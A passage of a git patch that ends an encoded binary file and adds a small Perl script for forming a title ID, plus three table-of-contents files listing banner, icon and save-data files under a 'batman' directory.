zR62)~TFNW~oPXaC4+CUWRv8OCbZ}VFG)S5Rd8P9%4jm=tI$g;ABUU8e{u&215%R>O zswMS;Ysv-JR4%Z`$eeMGrZ>Pqrf~jaV?1{bL7`4;Q|B0}S{}pX#xs>UqMC#tJHUez zp9`~n0BAq%xb+WBE|`CIB8HwpLkPo;Ad zB#SMr;%I$J8FGOHs)_K_Z*ka?DMF}2pV|Q%JhZn84Sp1;uaa=N;F`vvK&LOo)p(Y| zHtmX}w(TW#@FRH6H7BAV<}hE|w!ETg096Jywsab$S5|UiU!hNEUTZvAR9Qu*R}r3V zzCU)rzaXpK^Jod^Wr9vR;(m6|oH9dS)sj~4-KY+9frkT5bi^TrsPpDXdocC*0SwKi ztmML8LjTAQvGV%fr_o|g))J-8yGERd9L)5L-054=r0$N^g}}x?n}K=(l0^ZYYWHk< zNt8*sp*>GV1Luy`#VnkHy_P!fs|+=^G{)tQw<#hu;_Jnh7d!64mE9r;SLq0bPB zPo8j2#7~aJFgv6G1FRG}R9W!U zc$S@UjuAr=cU>vr=Z{zFRqx#ZIgD_fcRkAxAsY`EG!?}{bJ8?D3xPm;Kev)vZQH6E z&k}YTz}#JSRWd?*uO3rp1<_Ki8Zjau$^5k1q(pD+3PsACy|z zZw>8R$Os|S5s0RR_8Lz%p~2bEz8N<7aUr6FpzhpRW#X3Ep$gYXdyY>xBZHcTFZ2)&+|~hMJ!(I)Mhp`Hqt7ZA^<^Y?%&4 z1cg9ci7o9aZka6Eb@G(e#2vXPKnR5vJeNDR5kll_v(7&&$c|U6C;=;%gRMB>i4(Hm zhy+bo!WAv8)DX&ai`!nG5JD4DFHTeEPG(I^SjAm`Rm*zm)ky#qV3@X)mBrXHYvP=F zad#b%e;xuDu2)z5Z&uZkPRFA8;<`x6C*<=3r*?I(P6DVv#Tf_r9b`cGg`ywu&!qb= z{{Th|x(YJz|6t(n;NNX9ke{D_(>8Fs-8nfqd_qCF7YR=!iHV8b3=Qmn@0mpNjCA(?8GBPsAs4x8VY#|!2 z?`-tc3>2Q|=xFfYCK%w|qFy~e`7v|@)chx|ACPW=2XAm9wUAic)q3fM Q2W6?I0^AQUK@%AG2a`e>X#fBK literal 0 HcmV?d00001 diff --git a/batman/titleid.pl b/batman/titleid.pl new file mode 100755 index 0000000..f735f1d --- /dev/null +++ b/batman/titleid.pl @@ -0,0 +1,2 @@ +#!/usr/bin/perl +print "00010000", map { sprintf "%02x", ord uc } split //, $ARGV[0]; diff --git a/batman/toc-rlbe b/batman/toc-rlbe new file mode 100644 index 0000000..5437490 --- /dev/null +++ b/batman/toc-rlbe @@ -0,0 +1,4 @@ +title.bin +rlb-banner.ppm +rlbe-icon.ppm +FILE_V28 FILE_V28 diff --git a/batman/toc-rlbj b/batman/toc-rlbj new file mode 100644 index 0000000..fbd0a8a --- /dev/null +++ b/batman/toc-rlbj @@ -0,0 +1,4 @@ +title.bin +rlb-banner.ppm +rlbj-icon.ppm +FILE_V28 FILE_V28 diff --git a/batman/toc-rlbp b/batman/toc-rlbp new file mode 100644 index 0000000..285e9ed --- /dev/null +++ b/batman/toc-rlbp @@ -0,0 +1,4 @@ +title.bin +rlb-banner.ppm +rlbp-icon.ppm +FILE_V28 FILE_V28 -- 2.25.1